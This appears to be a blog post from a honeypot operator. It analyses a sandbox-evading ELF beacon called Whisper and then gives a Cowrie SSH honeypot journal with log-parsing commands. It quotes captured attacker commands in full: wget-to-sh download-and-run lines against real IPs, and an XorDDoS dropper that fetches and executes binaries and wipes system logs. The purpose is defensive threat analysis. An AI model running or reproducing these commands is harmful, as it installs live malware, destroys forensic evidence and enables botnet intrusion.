Whisper – Interesting Sandbox evasion?


In the past few days I found something fairly interesting in my sandbox. An attacker attempted to install malware, and the initial analysis led me a bit irritated. The attacker used several techniques to prevent delivering the payload to sandboxes. In this post I only show excerpts; I also published a repository on GitHub that contains the full artifacts.

Quick overview of the key facts:

Affected service: SSH
Honeypot: Cowrie
Attacker IP: 31.170.22.205
Commands executed: (see snippet below)

wget -qO- http://31.170.22.205/dl401 | sh
wget -qO- http://31.170.22.205/dl402 | sh
wget -qO- http://31.170.22.205/dl403 | sh
wget -qO- http://31.170.22.205/dl404 | sh
wget -qO- http://31.170.22.205/dl405 | sh
wget -qO- http://31.170.22.205/dl406 | sh
wget -qO- http://31.170.22.205/dl407 | sh
wget -qO- http://31.170.22.205/dl408 | sh

The attacker tried to download a shell script. It looks like this:

cd /tmp
rm -rf whisper.*
wget http://31.170.22.205/bins/whisper.armv5
chmod +x whisper.armv5
./whisper.armv5 410
cd /tmp
rm -rf whisper.*
wget http://31.170.22.205/bins/whisper.armv6
chmod +x whisper.armv6
./whisper.armv6 410
[...]


The script downloads several binaries, sets execute permissions on them, and then runs them. I tried to download those binaries myself and, oddly, every file had the exact same hash. Inspecting the file metadata revealed they are Windows executables.

I uploaded the file to VirusTotal for a quick look.

The file turned out to be Microsoft’s calc.exe, the standard Windows Calculator app. We can verify this by computing the file hash of calc.exe on a Windows machine:

That gives us confirmation. Since the attacker had already registered with our honeypot, I then attempted to download the files from the honeypot IP, which worked as expected. The attacker deliberately prevents his actual payloads from being easily analyzed by serving them only to selected targets.

Here’s a table of the downloaded binaries (click to open)

You can download them for analysis purposes here.

filenamesha256
whisper.aarch645f7dff5b5bdc2a12506cfb771e94b6ea26fec8a78f65cf927f361a39322036f4
whisper.aarch64be7a2af6f8c55bfc6d0bb259b4df37641cfb0dc9a1c94e0955784cfd9b34dc08ef
whisper.arcle750dc92038d168aa088997ea982aadf1d455ac4bc89332916a576117273610f3069f
whisper.arclehs383611fb87865bd967b6a1b2c3450e68cec14ec90abd9a790147e1544896e7b624
whisper.armv458189cbd4e6dc0c7d8e66b6a6f75652fc9f4afc7ce0eba7d67d8c3feb0d5381f
whisper.armv51d51c313c929d64c5ebe8a5e89c28ac3e74b75698ded47d1bc1b0660adc12595
whisper.armv690bf143a03e0cb6686c32a8a77dbdad6a314a16b7991823f45f7d9cb22ba51bc
whisper.armv72679b37532e176d63c48953cb9549d48feb76f076222cb6502034b0f72ca7db1
whisper.i686326952154ef5a81c819d67f9408e866af5fe2cdb3024df3ef1d650a9932da469
whisper.m68k0f1fd9f0a99693ec551f7eb93b3247b682cb624211a3b0c9de111a8367745268
whisper.mipsd37b334ec94b56236dc008108d4a9189019f1849fb010dcf08cfcf1a7d199b53
whisper.mips641afcdc3210b47356a0f59eeffbc2f7be22c1dd7aa2cc541c0eb20db29da8280e
whisper.mips64lefa96cf3b0022711627b97d569f0c6e28cfd62e7051fdce3f0165f8dd5c4ec760
whisper.mips64len3231f781726cc8cfc002b847fc0f05a7e28ebecea95f5a03b1cdeb63cce3e9ed8c
whisper.mips64n323615d10d1ef6e57b66aa653b158cd8d57166d69cbc4c90c2b7b9dd29820fcc64
whisper.mipsleb4658234a5c300bce3fe410a55fc87a59e4be7d46f948eaff389c4c16016afaa
whisper.powerpc440fpff08d2c7f8b5679add11dd4a297dd40a0d597e92e307ccd9c0d36366b59e3c6f
whisper.powerpc64e5500af7893318f1fe0d60cff62dbebe434e5f8c42bf1b338db23858177e880894574
whisper.powerpc64e65007234970698fab486e210a65aa2a3d3daebd3eebcf4bf016e9670fa725c07d76a
whisper.powerpc64lepower890f5ccd40e0f737eb40dcf292f202c7c70f1cdc2d33bd6718c0b286007f3ce24
whisper.powerpc64power8938205ed2f664fc330e20580799445182ba840672ef8bd75ae7629e07a460a79
whisper.powerpce300c3b2b811bbfe06d0edba85e0b0d42dbffb3714dee5bdd44426a1cb4589874d3234
whisper.powerpce500mcc43f32a066112fd87f43895515d27116e40688ae47b02ce0a5b379672830a136
whisper.riscv3261db3883d792b518450a4a67cfaa4d14baec59239a967ffb30c7a116a39f00e6
whisper.riscv641a60918639c961f6814f4dc74751a926361841b66c837d544697be1d3f42594e
whisper.sh43ac847bc1351ea5275d30cf9186caf607021d7f1da1a4cafeff6886b87844f36
whisper.sparc9033caaa07477bbed8ccd9f130fd8353a81143db44555b734ed1547ef368a8dd
whisper.sparc6400a290ee2458e38a0ec78be1414f651612c51831ff741cb40d5c6a11b29a6d7c
whisper.x644dd0005c6e6d4eca722ed02fec17a689828754a66a107272c5cd62f2fec478e1

For my analysis I’ll focus on the file whisper.x64.


It’s a stripped ELF binary, a binary that has had debugging symbols and symbol names removed. That makes analysis a bit harder, but not impossible. First step: upload the file to VirusTotal.

This was the first submission of the file on VirusTotal, so there is no historical data. Several scanners flagged the binary as a DDoS agent. To find out what it actually does at runtime, I opened it in Ghidra and started looking at functions. First I checked the strings embedded in the binary.


Already we can see some interesting strings, for example:

DEFINED0040a000s_31.170.22.205_0040a000ds “31.170.22.205”“31.170.22.205”string14false
DEFINED0040a012s_/add.php?v=%u&a=%s&o=%u&e=%u_0040a012ds “/add.php?v=%u&a=%s&o=%u&e=%u”“/add.php?v=%u&a=%s&o=%u&e=%u”string29false
DEFINED0040a050s_/ping.php?v=%u&a=%s&e=%u&c=%u_0040a050ds “/ping.php?v=%u&a=%s&e=%u&c=%u”“/ping.php?v=%u&a=%s&e=%u&c=%u”string30true

From these strings we can infer a few capabilities:

  • add.php: registers the client at the C2 server
  • ping.php: sends a ping / heartbeat to the C2 server

Next I examine syscalls to get a clearer picture of the binary’s behavior.
If you want to get an overview of x64 syscalls, you can find them here.

0x31 is the syscall number for sys_bind, so we can infer socket-related functionality. I renamed the function to socket_bind in Ghidra (right-click > Rename Function) and then checked the incoming calls to see where it is used.

After jumping to function FUN_004012b1 we see the following code:

To bind a socket via syscall we need to look at the sockaddr_in layout for x64:

struct sockaddr_in {
    short            sin_family;   // e.g. AF_INET
    unsigned short   sin_port;     // e.g. htons(3490)
    struct in_addr   sin_addr;     // see struct in_addr, below
    char             sin_zero[8];  // zero this if you want to
};

Offset 0 (2 bytes): sin_family (2 / AF_INET)
Offset 2 (2 bytes): sin_port – this is where param_1 lands
Offset 4 (4 bytes): sin_addr – here it’s 0 (INADDR_ANY)

So local_28 corresponds to sin_family, local_24 to sin_addr, and local_26 to sin_port. I renamed the variables accordingly and gave the function the name create_socket.

FUN_004036d3 likely creates the socket. We can confirm that by searching inside it for syscall 0x29 (which is sys_socket). That matches, I renamed that function and fleshed out the code.

This confirms our assumption, so I can also give this function a name and complete the code as far as possible.

We still didn’t know which port this socket uses, so I looked at incoming references and found it’s called only from FUN_00401020.

That function is invoked right after the entry point, it’s effectively main. From the line iVar2 = create_socket(0x5d15); we can infer the port. 0x5d15 in the binary is not the final port number: it’s an unsigned short that gets converted with htons from host byte order to network byte order.

whisper > printf "%d\n" $(( ((0x5d15 & 0xff) << 8) | ((0x5d15 >> 8) & 0xff) ))
5469

You can convert it in bash or compute by hand: because htons swaps the two bytes on little-endian hosts, 0x5d15 becomes 0x155d, which is 5469 in decimal. This is a common pattern used, for example, to avoid running two copies of the malware, but it could also be used as a communication channel. To check that, I searched for the sys_listen syscall (0x32). There is no listen syscall in the binary, so it’s safe to assume this is an execution lock rather than a listening server. The decompiled code also confirms this.

iVar2 is the return status of the socket creation; if iVar2 == -1 socket creation failed and the program exits.

Now let’s look more closely at the block of code that follows a successful socket creation. I’ll skip FUN_0040123 and FUN_00401246 because they only initialize and destroy a buffer, they don’t add relevant functionality.

To understand the logic I examined four helper functions: FUN_0040120a, FUN_004013c6, FUN_004014e2, and FUN_00404634. I started with FUN_00404634 because it has the most incoming references.

This one is most likely a sleep function. If param_1 == 0 nothing happens, that’s typical for sleep wrappers. If param_1 != 0, the routine calls into the kernel through several helper calls and performs a timed wait.

Inside it calls FUN_00404f1f(0x11, 0, local_28), that’s a wrapper for a syscall. The parameter 0x11 is the syscall we care about; on x86-64 that’s sys_rt_sigtimedwait. rt_sigtimedwait lets you wait for signals with a timeout, so the code can sleep while still being able to respond to signals (from another thread, an IPC, or a realtime signal). Many analysis and monitoring tools hook libc sleep functions like nanosleep(); by using direct syscalls the malware can bypass those hooks and make runtime analysis harder.

After that the code performs what looks like a timer or remaining-time check, it computes elapsed time or remaining time and returns that value. I renamed this helper to sleep for clarity.


FUN_0040120a

FUN_0040120a uses syscall 0xc9, which is a time-related syscall. The function measures elapsed time across a 10-second delay, a typical sandbox-evasion trick. The code checks the difference and only executes the following block if the delta indicates the sleep actually occurred. I renamed this to time_passed_check.


FUN_004013c6

FUN_004013c6 is straightforward: it performs a GET request to the C2’s add.php. That is the client registration step. The GET parameters v, a, o, and e map roughly as follows:

  • v: fixed value
  • a: CPU architecture (agent string)
  • o: fixed value
  • e: the value passed to the binary at execution time

I renamed the function to add_client.


FUN_004014e2

The last function, FUN_004014e2, is similar to add_client. It sends a ping to the C2 server and returns a boolean indicating success or failure. I renamed it ping_cnc.

I’ve now analyzed and named all four helper functions used by FUN_0040125c.
Here’s the result:

Step-by-step:

First, the binary checks the result of the time-check. If that check passes, it registers the client with the C2.

Afterwards, the binary pings the C2 server every 300 seconds. The loop contains a counter that runs 576 iterations in total. The full runtime is therefore limited to exactly 48 hours (300 * 576 = 172,800 seconds = 48 hours). I named the overall routine add_and_ping.

Looking into the main function, we now have a structure that ties everything together:

Note: I intentionally didn’t discuss every single helper; I renamed the lesser functions for clarity but didn’t dig into those that aren’t relevant to this write-up.


Conclusion

The binary’s functionality is limited. On startup it runs a time-difference check designed to detect sandboxing, using sys_rt_sigtimedwait to make sleep detection harder. If the sample concludes the timing check is okay, it registers with the C2 and then pings the C2 every five minutes for 48 hours. This is a beacon-only sample with no additional backdoor capabilities in the analyzed build.

Interpretations

Because the attacker used multiple techniques to keep their real binaries out of standard analysis, this likely serves as a sandbox-evasion measure. The operator can watch the incoming pings from infected machines and, after confirming persistent, consistent check-ins over the 48-hour window, choose targets for a follow-up payload deployment. That prevents premature sandboxing and analysis of the actual payloads.

An argument against that theory is the lack of any attempt to establish persistent access in this sample, that would make later deployment harder if defenders notice and block the operation early.

Another hypothesis is that the operator collects telemetry to detect whether the binary is being detected and if it survives for a desired runtime. That would explain the lack of persistence attempts, but I consider this less likely because there are more efficient ways to perform that kind of telemetry.

References:

29.09.2025 – Honeypot Journal – SSH


Honeypot Details:

Type: SSH
Software used: Cowrie

Results

We publish partial results in our GitHub repository
The repository includes passwords that were employed in brute‑force attacks, as well as SSH keys that have been used to maintain persistent access.

Tools Used: grep, jq, cut, cat, sort, uniq, file

29.09.25

In today’s journal entry I review the notable events and statistics collected by my Cowrie SSH honeypot on September 29, 2025.

The Cowrie instance runs on an isolated virtual machine to minimize risk and contain any interaction. I log all authentication attempts and record every command executed during attacker sessions. Command input and session metadata are retained for analysis, but any files that attackers attempt to create are not persisted to disk on this honeypot; the environment uses an emulated filesystem and does not store uploaded artifacts. This design choice reduces operational risk and simplifies recovery, but it also means I do not currently capture potential malware or dropped files.

Planned next steps: I will deploy a second, dedicated honeypot configured to capture and retain file artifacts and binaries for deeper forensic analysis. That secondary system will be isolated and instrumented to safely collect samples for static and dynamic inspection while preserving the containment and OPSEC posture of the current Cowrie deployment.

Cowrie stores all collected data in a cowrie.json log file. This file captures detailed information about authentication attempts, executed commands, session metadata, and other interactions with the honeypot.

Below are some example entries extracted from the JSON file generated by Cowrie:

{"eventid":"cowrie.login.success","username":"root","password":"password","message":"login attempt [root/password] succeeded","sensor":"38749a7943fc","timestamp":"2025-09-29T20:58:40.655839Z","src_ip":"87.120.191.13","session":"51e74f48f036"}
{"eventid":"cowrie.session.connect","src_ip":"87.120.191.13","src_port":38722,"dst_ip":"172.26.0.2","dst_port":2222,"session":"50b8f390b79b","protocol":"ssh","message":"New connection: 87.120.191.13:38722 (172.26.0.2:2222) [session: 50b8f390b79b]","sensor":"38749a7943fc","timestamp":"2025-09-29T20:58:40.340065Z"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ftpuser","message":"login attempt [ubnt/ftpuser] failed","sensor":"38749a7943fc","timestamp":"2025-09-29T20:58:40.657900Z","src_ip":"87.120.191.13","session":"83f0f267918f"}

Each entry in Cowrie is associated with an eventid, which allows us to track individual attacker actions throughout a session.

I have compiled a list of event IDs that Cowrie logs, providing an overview of the types of interactions and activities attackers perform on the honeypot.

Cowrie Event IDs

cowrie.client.fingerprint
ein angemeldeter SSH‑Public‑Key; username, fingerprint, key, type

cowrie.login.success
erfolgreiche Authentifizierung; username, password

cowrie.login.failed
fehlgeschlagene Authentifizierung; username, password

cowrie.client.size
Terminalgröße (SSH); width, height

cowrie.session.file_upload
hochgeladene Datei (z. B. via SFTP/SCP); filename, outfile, shasum

cowrie.command.input
vom Angreifer eingegebene Shell‑Befehle; input

cowrie.virustotal.scanfile
Datei an VirusTotal gesendet; sha256, is_new, positives, total

cowrie.session.connect
neue Verbindung (Session startet); src_ip, src_port, dst_ip, dst_port

cowrie.client.version
SSH‑Identification String; version

cowrie.client.kex
SSH Key‑Exchange Details; z. B. hassh, hasshAlgorithms, kexAlgs, keyAlgs

cowrie.session.closed
Session beendet; duration

cowrie.log.closed
TTY‑Log (session log) geschlossen; duration, ttylog (Dateiname), size, shasum, duplicate

cowrie.direct-tcpip.request
Anfrage zum Proxying (direct‑tcpip); dst_ip, dst_port, src_ip, src_port

cowrie.direct-tcpip.data
Daten, die über direct‑tcpip weitergeleitet werden sollten; dst_ip, dst_port

cowrie.client.var
variable Client‑Informationen; name, value

For an initial analysis I use grep to filter cowrie.json for specific eventid values. For today’s entry I will focus on the following areas:

  • Unique logins & geolocation: identify distinct successful authentications and map source IPs to countries
  • Notable executed commands: extract interesting or uncommon command sequences attackers ran
  • Longest sessions: find sessions with the greatest duration or highest command count
  • SSH keys: capture any public keys presented by clients or any key-related activity
  • Passwords: collect attempted passwords used during authentication attempts


Unique logins & geolocation

To extract all login attempts, I search for the following events: cowrie.login.success and cowrie.login.failed.
I use the following command to search for these two events:

grep "cowrie.login.*" | jq -r '.src_ip' | sort | uniq


To find out how many IP addresses attempted to connect:

grep "cowrie.login.*" cowrie.json.2025-09-29 | jq -r '.src_ip' | sort | uniq | wc -l
> 41

I now want to perform geolocation to generate statistics about the countries of the IP addresses.

For quick queries, I use the GeoIP tool. Unlike tools such as whois, GeoIP allows offline lookups, making it more efficient for bulk queries and simplifying the process of geolocating many IPs.

To generate statistics, we can use standard Linux tools. Here is a one-liner to create country statistics:

while read -r line; do geoiplookup "$line" | cut -d' ' -f5- >> countries.tmp; done < ips.txt; sort < countries.tmp | uniq -c | sort -rn ; rm countries.tmp

The result:

China is the clear leader for today, followed by the United States, with Romania taking third place.


Notable executed commands

Since traffic on the honeypot remains modest, we can generate an overview of all distinct commands executed to identify potential candidates for deeper analysis:

grep "cowrie.command.input" cowrie.json | jq -r '.input' | sort | uniq

As we can see, quite a lot is happening here. Most of this activity comes from scanners that spend the entire day probing the Internet for open SSH ports and attempting to log in using password lists. Targets can include dedicated and cloud servers, IoT devices, industrial systems, and more.

Data collected from honeypots can be useful for several reasons:

  • IP Tracking: Attackers can be identified and reported.
  • Behavior Analysis: Record and analyze attacker behavior within the honeypot.
  • Malware Analysis: Track and store malware installed by attackers for further analysis.

Beyond the common background noise generated by these scanners, occasional attempts to install malware can be observed.

Here is what I found in today’s logs:

wdir="/bin"; for i in "/bin" "/home" "/root" "/tmp" "/usr" "/etc"; do; if [ -w $i ]; then; wdir=$i; break; fi; done; cd $wdir; curl http://23.160.56.64/p.txt -o ygljglkjgfg0; chmod +x ygljglkjgfg0; ./ygljglkjgfg0; wget http://23.160.56.64/p.txt -O ygljglkjgfg1; chmod +x ygljglkjgfg1; ./ygljglkjgfg1; good http://23.160.56.64/p.txt -O ygljglkjgfg2; chmod +x ygljglkjgfg2; ./ygljglkjgfg2; sleep 2; wget http://23.160.56.64/r.txt -O sdf3fslsdf13; chmod +x sdf3fslsdf13; ./sdf3fslsdf13; good http://23.160.56.64/r.txt -O sdf3fslsdf14; chmod +x sdf3fslsdf14; ./sdf3fslsdf14; curl http://23.160.56.64/r.txt -o sdf3fslsdf15; chmod +x sdf3fslsdf15; ./sdf3fslsdf15; sleep 2; mv /usr/bin/wget /usr/bin/good; mv /bin/wget /bin/good; cat /dev/null >/root/.bash_history; cat /dev/null > /var/log/wtmp; cat /dev/null > /var/log/btmp; cat /dev/null > /var/log/lastlog; cat /dev/null > /var/log/secure; cat /dev/null > /var/log/boot.log; cat /dev/null > /var/log/cron; cat /dev/null > /var/log/dmesg; cat /dev/null > /var/log/firewalld; cat /dev/null > /var/log/maillog; cat /dev/null > /var/log/messages; cat /dev/null > /var/log/spooler; cat /dev/null > /var/log/syslog; cat /dev/null > /var/log/tallylog; cat /dev/null > /var/log/yum.log; cat /dev/null >/root/.bash_history; ls -la /var/run/gcc.pid; exit $?

Security warning: Do not download the file unless you know what you’re doing!

I downloaded p.txt and took a closer look at the file. A quick inspection reveals that it is not a text file but an ELF binary.

> file p.txt 
p.txt: ELF 32-bit LSB executable, Intel i386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, stripped

To verify what type of malware this is, I uploaded the file to VirusTotal.

Now we know a bit more about the mysterious p.txt: it is the XorDDoS malware.

XorDDoS is a Linux-based malware that infects devices via weak SSH passwords or exposed services. It obfuscates its communication using XOR, turns infected systems into botnet nodes, and is primarily used to carry out DDoS attacks. Linux servers, IoT devices, and cloud systems are particularly targeted.

Read More about the XORDDoS Malware here:

References (Click to Open)

https://malpedia.caad.fkie.fraunhofer.de/details/elf.xorddos
https://unit42.paloaltonetworks.com/new-linux-xorddos-trojan-campaign-delivers-malware
https://www.microsoft.com/en-us/security/blog/2022/05/19/rise-in-xorddos-a-deeper-look-at-the-stealthy-ddos-malware-targeting-linux-devices
https://blog.talosintelligence.com/unmasking-the-new-xorddos-controller-and-infrastructure
https://thehackernews.com/2025/04/experts-uncover-new-xorddos-controller.html
https://research.splunk.com/stories/xorddos/
https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html
https://raw.githubusercontent.com/stamparm/maltrail/master/trails/static/malware/elf_xorddos.txt


Longest sessions

A beneficial side effect of operating a honeypot is the stolen time that scanners can never get back. Efficient botnet construction, when scanning the Internet for open ports, depends on speed. Smart scanners will ideally detect honeypots early and terminate the session once identified; any time an attacker spends on our honeypot is time they cannot use to infect other systems. With only a few honeypots this effect is marginal, but it scales: the more honeypots deployed across the Internet, the more attacker time is wasted.

I generate time-based statistics from the cowrie.session.closed event, since it includes session duration information.

In the log it looks like this:

{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"38749a7943fc","timestamp":"2025-09-29T23:57:44.723554Z","src_ip":"92.118.39.62","session":"33b169382dae"}

To generate concrete statistics from that, I use the following command:

cat cowrie.json.2025-09-29 | grep "cowrie.session.closed" | cut -d':' -f4 | cut -d' ' -f 4  | sort | uniq | sort -rn | head

The longest session therefore lasted 274 minutes, i.e. about 4 hours 34 minutes

Now I want to calculate the total time all attackers spent on my system. For that I reuse my previous query and use awk to sum all durations.

cat cowrie.json.2025-09-29 | grep "cowrie.session.closed" | cut -d':' -f4 | cut -d' ' -f 4  | sort | uniq | sort -rn | awk '{for(i=1;i<=NF;i++) sum+=$i} END{print sum/60}'
> 30.6267

Overall, attackers spent 30 minutes on the system that day. That may seem insignificant at first, but it scales dramatically when extrapolated across hundreds or thousands of honeypots.


SSH-Keys

To gain persistent access, attackers often try to install SSH keys. These can provide valuable indicators to identify attackers early or attribute attacks to a particular actor. Since I have only found RSA public keys in the logs so far, I will explicitly search for those. However, attackers could theoretically use other algorithms for their SSH keys, so this command would need to be adjusted accordingly, currently I only filter for RSA keys. To extract these from the logs I use the following command:

cat cowrie.json | grep -o 'ssh-rsa A[A-Za-z0-9+/=]\+' | sort | uniq

If you want to scan for other SSH public keys, consider searching for ecdsa-sha2-*, ssh-ed25519, or ssh-dss as well.

Note: In my GitHub repository you can find all logs and analyses I have collected.


Passwords

Another interesting aspect is generating a password list from the attackers’ login attempts. These password lists can be used to verify the strength of our own passwords, but also for other purposes such as detecting default credentials that may be embedded in applications. Such defaults are frequently abused to build botnets and remain a persistent problem, partly because some vendors do not take it seriously or, in some cases, include weak credentials intentionally.

To filter the passwords from today’s log I use the following command:

cat cowrie.json.2025-09-29 | grep "cowrie.login.*" | cut -d':' -f3,4 | cut -d '"' -f2,6 | grep -v '^"' | sed 's/"/:/' | sort | uniq

In total, I was able to identify 855 unique passwords for today.

Note: In my GitHub repository you can find all logs and analyses I have collected.